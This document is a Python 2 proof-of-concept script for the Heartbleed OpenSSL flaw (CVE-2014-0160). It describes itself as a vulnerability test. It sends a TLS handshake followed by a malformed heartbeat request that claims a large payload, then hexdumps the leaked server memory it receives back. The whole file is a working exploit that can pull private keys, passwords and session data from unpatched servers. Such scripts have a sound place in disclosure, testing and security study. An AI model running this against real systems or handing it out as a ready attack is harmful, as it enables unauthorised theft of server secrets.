#!/usr/bin/python
     
    # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
    # The author disclaims copyright to this source code.
     
    import sys
    import struct
    import socket
    import time
    import select
    import re
    from optparse import OptionParser
     
    options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
    options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
     
    def h2bin(x):
        return x.replace(' ', '').replace('\n', '').decode('hex')
     
    hello = h2bin('''
    16 03 02 00  dc 01 00 00 d8 03 02 53
    43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
    bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
    00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
    00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
    c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
    c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
    c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
    c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
    00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
    03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
    00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
    00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
    00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
    00 0f 00 01 01                                  
    ''')
     
    hb = h2bin('''
    18 03 02 00 03
    01 40 00
    ''')
     
    def hexdump(s):
        for b in xrange(0, len(s), 16):
            lin = [c for c in s[b : b + 16]]
            hxdat = ' '.join('%02X' % ord(c) for c in lin)
            pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
            print '  %04x: %-48s %s' % (b, hxdat, pdat)
        print
     
    def recvall(s, length, timeout=5):
        endtime = time.time() + timeout
        rdata = ''
        remain = length
        while remain > 0:
            rtime = endtime - time.time()
            if rtime < 0:
                return None
            r, w, e = select.select([s], [], [], 5)
            if s in r:
                data = s.recv(remain)
                # EOF?
                if not data:
                    return None
                rdata += data
                remain -= len(data)
        return rdata
           
     
    def recvmsg(s):
        hdr = recvall(s, 5)
        if hdr is None:
            print 'Unexpected EOF receiving record header - server closed connection'
            return None, None, None
        typ, ver, ln = struct.unpack('>BHH', hdr)
        pay = recvall(s, ln, 10)
        if pay is None:
            print 'Unexpected EOF receiving record payload - server closed connection'
            return None, None, None
        print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
        return typ, ver, pay
     
    def hit_hb(s):
        s.send(hb)
        while True:
            typ, ver, pay = recvmsg(s)
            if typ is None:
                print 'No heartbeat response received, server likely not vulnerable'
                return False
     
            if typ == 24:
                print 'Received heartbeat response:'
                hexdump(pay)
                if len(pay) > 3:
                    print 'WARNING: server returned more data than it should - server is vulnerable!'
                else:
                    print 'Server processed malformed heartbeat, but did not return any extra data.'
                return True
     
            if typ == 21:
                print 'Received alert:'
                hexdump(pay)
                print 'Server returned error, likely not vulnerable'
                return False
     
    def main():
        opts, args = options.parse_args()
        if len(args) < 1:
            options.print_help()
            return
     
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print 'Connecting...'
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        print 'Sending Client Hello...'
        sys.stdout.flush()
        s.send(hello)
        print 'Waiting for Server Hello...'
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                print 'Server closed connection without sending Server Hello.'
                return
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break
     
        print 'Sending heartbeat request...'
        sys.stdout.flush()
        s.send(hb)
        hit_hb(s)
     
    if __name__ == '__main__':
        main()
 

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